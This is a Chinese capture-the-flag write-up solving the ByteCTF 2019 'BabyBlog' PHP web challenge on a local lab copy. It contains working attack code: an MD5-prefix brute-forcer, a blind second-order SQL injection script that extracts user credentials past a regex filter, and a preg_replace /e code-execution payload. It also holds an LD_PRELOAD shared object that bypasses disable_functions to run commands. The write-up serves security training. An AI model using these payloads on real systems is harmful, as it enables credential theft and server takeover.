Bytectf2019的一道web题
buuoj上的环境:https://buuoj.cn/challenges#[ByteCTF%202019]BabyBlog
dockerfile:https://github.com/CTFTraining/bytectf_2019_web_babyblog
buuoj上环境似乎有问题,可能赵师傅忘了添加vip账户了,在本地自己加了个vip账户复现了一下

1.爆破md5

  • 访问/www.zip 得到源码
  • 首先注册一个账号,这里存在一个认证

    substr(md5($verify),0,5)==’xxxxx’

xxxxx是每次随机生成的,老会长写了个脚本爆破了出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import hashlib
import string

char_set = list(string.digits + string.ascii_letters)

def md5(s, raw_output=False):
s = s.encode(encoding='utf-8')
res = hashlib.md5(s)
if raw_output:
return res.digest()
return res.hexdigest()

def crack_md5(dst):
for a in char_set:
for b in char_set:
for c in char_set:
for d in char_set:
res = a + b + c + d
hash = md5(res)
if hash[0:5] == dst:
print(res[0:4])
return

if __name__ == '__main__':
md5_str = '7fc4f' #随机生成的xxxxx
crack_md5(md5_str)

2.发现代码执行

注册成功后就可以登录进去,这时候审计一下代码,可以发现:

  • 在replace.php中使用了preg_replace函数
    1
    2
    3
    4
    5
    if(isset($_POST['regex']) && $_POST['regex'] == '1'){
    $content = addslashes(preg_replace("/" . $_POST['find'] . "/", $_POST['replace'], $row['content']));
    $sql->query("update article set content='$content' where id=" . $row['id'] . ";");
    exit("<script>alert('Replaced successfully.');location.href='index.php';</script>");
    }
    $_POST[‘find’]可控,而且php的版本是5.3,存在%00截断,因此可以将$_POST[‘find’]设成xxx/e%00, 从而得到代码执行

但是只有vip账号才能使用这个功能,需要先得到已有的vip账号

3.二次注入

继续代码审计发现一个二次注入

  • 先是在writing.php中

    1
    2
    3
    4
    5
    6
    7
    8
    9
    if(isset($_POST['title']) && isset($_POST['content'])){
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql->query("insert into article (userid,title,content) values (" . $_SESSION['id'] . ", '$title','$content');");
    exit("<script>alert('Posted successfully.');location.href='index.php';</script>");
    }else{
    include("templates/writing.html");
    exit();
    }

    $title 和 $content 使用了addslashes,会在’等字符前面加上\转义,但是写入数据库的时候数据会还原

  • 再看edit.php

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    if(isset($_POST['title']) && isset($_POST['content']) && isset($_POST['id'])){
    foreach($sql->query("select * from article where id=" . intval($_POST['id']) . ";") as $v){
    $row = $v;
    }
    if($_SESSION['id'] == $row['userid']){
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql->query("update article set title='$title',content='$content' where title='" . $row['title'] . "';"); //这里的$row['title']直接从数据库中取出,没有过滤
    exit("<script>alert('Edited successfully.');location.href='index.php';</script>");
    }else{
    exit("<script>alert('You do not have permission.');history.go(-1);</script>");
    }
    }

    $row[‘title’]直接从数据库中取了出来,没有进行过滤,因此存在二次注入

  • 在config.php存在一个全局的过滤

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    function SafeFilter(&$arr){   
    foreach ($arr as $key => $value) {
    if (!is_array($value)){
    $filter = "benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\(|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\")|(\+|-|~|!|@:=|" . urldecode('%0B') . ").+?)FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
    if(preg_match('/' . $filter . '/is', $value)){
    exit("<script>alert('Failure!Do not use sensitive words.');location.href='index.php';</script>");
    }
    }else{
    SafeFilter($arr[$key]);
    }
    }
    }

    $_GET && SafeFilter($_GET);
    $_POST && SafeFilter($_POST);

    这个可以利用异或绕过:

    1
    1'^(ascii(substr((select(group_concat(username,password)) from (users)),1,1))>1)^'1

    附上脚本 (偷懒直接拿glzjin师傅的脚本改了改)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    #!/usr/bin/env python3
    # -*- coding: utf-8 -*-
    import re
    import requests

    # 1'^(ascii(substr((select(group_concat(schema_name)) from (information_schema.schemata)),1,1))>1)^'1

    def main():
    get_information("http://192.168.80.162:8302/")

    def http_get(url,payload):
    result = requests.post(url+"writing.php",data={'title':"1'^("+ payload + ")^'1",'content':'1234'},headers={"Cookie": "PHPSESSID=76a5b274154121a12ab3cc5c11a78617"})
    result.encoding = 'utf-8'

    r2 = requests.get(url+"index.php",headers={"Cookie": "PHPSESSID=76a5b274154121a12ab3cc5c11a78617"})

    pattern = re.compile(r'edit.php\?id=(\d+)')
    result1 = pattern.findall(r2.text)
    result = requests.post(url + "edit.php", data={'title': "fuhei", 'content': '1234', "id": result1[0]},headers={"Cookie": "PHPSESSID=76a5b274154121a12ab3cc5c11a78617"})
    result.encoding = 'utf-8'

    result2 = requests.get(url + "edit.php?id=" + result1[0],headers={"Cookie": "PHPSESSID=76a5b274154121a12ab3cc5c11a78617"})
    print(result2.text.find('ascii') == -1)

    if result2.text.find('ascii') == -1:
    return True
    else:
    return False

    def get_information(url):
    result = ""
    key_payload = "select(group_concat(username,password)) from (users)"
    for y in range(1, 80):
    payload = "ascii(substr((" + key_payload + "),%d,1))" % (y)
    result += chr(half(url, payload))
    print(result)
    print("值为:%s" % result)

    def half(url, payload):
    low = 0
    high = 126
    # print(standard_html)
    while low <= high:
    mid = (low + high) / 2
    mid_num_payload = "%s > %d" % (payload, mid)
    # print(mid_num_payload)
    # print(mid_html)
    if http_get(url, mid_num_payload):
    low = mid + 1
    else:
    high = mid - 1
    mid_num = int((low + high + 1) / 2)
    return mid_num

    if __name__ == '__main__':
    main()

    拿到vip账号

    4. bypass disable_functions

    有了vip账号就可以代码执行了,继续偷glzjin师傅的脚本(逃)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    import requests
    import base64


    cookie={
    "PHPSESSID":"76a5b274154121a12ab3cc5c11a78617"
    }
    def write():
    url="http://192.168.80.162:8302/edit.php"
    data={
    "title":"babyblog",
    "content":'babyblog',
    "id":"315"
    }
    r=requests.post(url=url,data=data,cookies=cookie)
    return r.content



    url = "http://192.168.80.162:8302/replace.php"


    command = """phpinfo();"""
    # print(command)


    payload = "------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"regex\"\r\n\r\n1\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"find\"\r\n\r\nbabyblog/e\x00\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nbabyblog\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"replace\"\r\n\r\n" + command +"\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n315\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--"
    headers = {
    'content-type': "multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW",
    'Cookie': "PHPSESSID=76a5b274154121a12ab3cc5c11a78617",
    'cache-control': "no-cache",
    }
    write()
    response = requests.request("POST", url, data=payload, headers=headers)
    print(response.text)

    可以看到存在disable_functions和open_basedir

  • disable_functions

    1
    pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,ini_set,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail
  • open_basedir

    1
    /var/www/html/:/tmp/:/proc/

    这里可以利用LD_PRELOAD来绕过( https://xz.aliyun.com/t/4623#toc-5 )

  • 首先编译一个so文件

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    void payload() {
    system("/readflag >> /tmp/flag");
    }
    int geteuid() {
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
    }

    然后

    1
    2
    gcc -c -fPIC fuck.c -o fuck
    gcc --share fuck -o fuck.so
  • 用刚刚的代码执行将 fuck.so 写入到/tmp/目录下

    1
    2
    3
    4
    5
    6
    # 将fuck.so的内容base64编码
    with open('fuck.so', "rb") as bicho:
    encoded_bicho = base64.b64encode(bicho.read())

    command = """eval("file_put_contents("""+"""'/tmp/fuck.so',base64_decode("""+str(encoded_bicho)[1:]+"""));var_dump(scandir('/tmp'));")"""
    # print(command)
  • 这里mail函数被禁掉了,但还可以使用error_log调用fuck.so,最后读取/tmp/flag得到flag

    1
    command = """eval('putenv("LD_PRELOAD=/tmp/fuck.so");error_log("test",1,"","");echo file_get_contents("/tmp/flag");')"""